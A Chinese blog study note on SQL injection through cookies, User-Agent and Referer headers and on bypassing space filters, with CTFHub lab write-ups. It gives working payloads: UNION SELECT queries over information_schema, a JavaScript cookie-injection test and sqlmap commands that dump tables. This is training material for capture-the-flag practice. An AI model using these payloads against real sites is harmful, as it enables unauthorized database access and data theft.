sql学习5(cookie注入,UA注入,refer注入,过滤空格)

获取cookie可免密登录管理员账户

Cookie通常被用来辨别用户身份,就是保存用户的账号和密码用来自动登录网站

cookie注入的基本条件:使用了request方法,但是注入保护程序中只对get\post方法提交的数据进行了过滤。

一、cookie注入

1.寻找形如".asp?id=xx"类的参数
2.测试参数影响

通过去掉参数测试参数影响,将“id=xx”删掉,看页面是否正常,正常,则说明参数不起作用。反之不正常,说明参数在数据传递中启直接作用

3.测试应用是否用Request(“id”)这种方式获取数据的

清空网址后输入javascript:alert(document.cookie=“id=”+escape(“xx”));

document.cookie:表示当前浏览器中的cookie变量

alert():表示弹出一个对话框

escape():对字符串进行编码

按Enter键后会弹出一个对话框,内容是“id=xx”,然后重新输入原来URL回车,如果显示正常,说明是用Request(“id”)方式获取数据

4.测试判断条件是否可以影响输出

将SQL判断语句带入,并重复第三步

①javascript:alert(document.cookie=“id=”+escape(“xx and 1=1”));

②javascript:alert(document.cookie=“id=”+escape(“xx and 1=2”));

若①正常,②不正常,则说明存在注入漏洞,并可以进行cookie注入

5.cookie注入

与之前的注入手法一致,可用huckbar的cookie,也可以用bp抓包修改,还可以用sqlmap

补充数字型注入

1判断注入类型

输入?id=1 and 1=1正常且输入?id=1 and 1=2报错的为数字型注入

2.查找字段数

?id=1 order by 1

从1开始直到报错

3.查找回显位

?id=-1 union select 1,2

有几个字段数就写到几

4.爆数据库

?id=-1 union select 1,database()

5.爆表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'

6.查列

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名'

7.查内容

?id=-1 union select 1,2,group_concat(列名,列名) from 表名

注:select的数字数量需和表格里列的数量一一对应,否则会报错

二、UA注入

User-Agent是Http协议中的一部分,属于头域的组成部分。

是一种向访问网站提供你所使用的浏览器类型、操作系统、版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识。

原理:有些网站会把用户的UA信息写入数据库,用来收集和统计用户信息,此时就有可能存在UA 头注入,一般会把数据插入到某张表中,所以可以用报错注入。

判断:输入正确的用户名和密码后回显User-Agent内容,可以判断存在UA注入

使用sqlmap 和 burp的 repeater 模块都可以发现 User-agent中的注入点

可通过sqlmap,bp抓包修改和hackbar的user-agent修改

其余步骤与之前一致

三、refer注入

Refer注入是一种利用HTTP头字段中的Referer(引荐者)信息来进行攻击的注入技术。Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。
Refer注入攻击的原理是通过篡改Referer字段中的值,将恶意的SQL代码插入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。攻击者可以通过修改发送给服务器的HTTP请求的Referer字段,将恶意的SQL代码作为Referer值注入进去。

Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。    通俗的讲:需要向页面发送一个请求后,才会带上Reder字段。

可通过sqlmap,bp抓包修改和hackbar的user-agent修改

其余步骤与之前一致

四、过滤空格

可用/**/  %0A代替

练习

ctfhub技能树cookie注入
1.手注

在cookie下输入id=1 and 1=1正常回显,输入id=1 and 1=2报错,可判断为数字型

可知字段数为2

查询回显位

库名为sqli

有两个表aqqrdfhifq和news

继续查询aqqrdfhifq发现字段mbzrvfdpir

找到flag

2.sqlmap

查数据库

sqlmap -u "url" --cookie "id=注入点" --level 2 --dbs

查表

sqlmap -u "url" --cookie "id=注入点" --level 2 -D 库名 --tables

查字段名

sqlmap -u "url" --cookie "id=1" --level 2 -D 数据库名 -T 表名 --columns

 

 查内容

sqlmap -u "url" --cookie "id=1" --level 2 -D 数据库名 -T 表名 -C 列名 --dump

ctfhub技能树UA注入

判断为数字型

2个字段

数据库名为sqli

有两个表,分别为 utrlbpsuoj,news

列名为 djcdkppirl

得到flag

ctfhub技能树refer注入

判断为字符型

字段数为2

库名为sqli

有两个表,分别为yxmuoymiou,news

列名为qbugvdbxtj

得到flag

ctfhub技能树过滤空格

数字型注入

 字段数为2

库名为sqli

库中含两张表news,nwzbdcvbtu

列名为xsvamtpdui

得到flag

  • 25
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值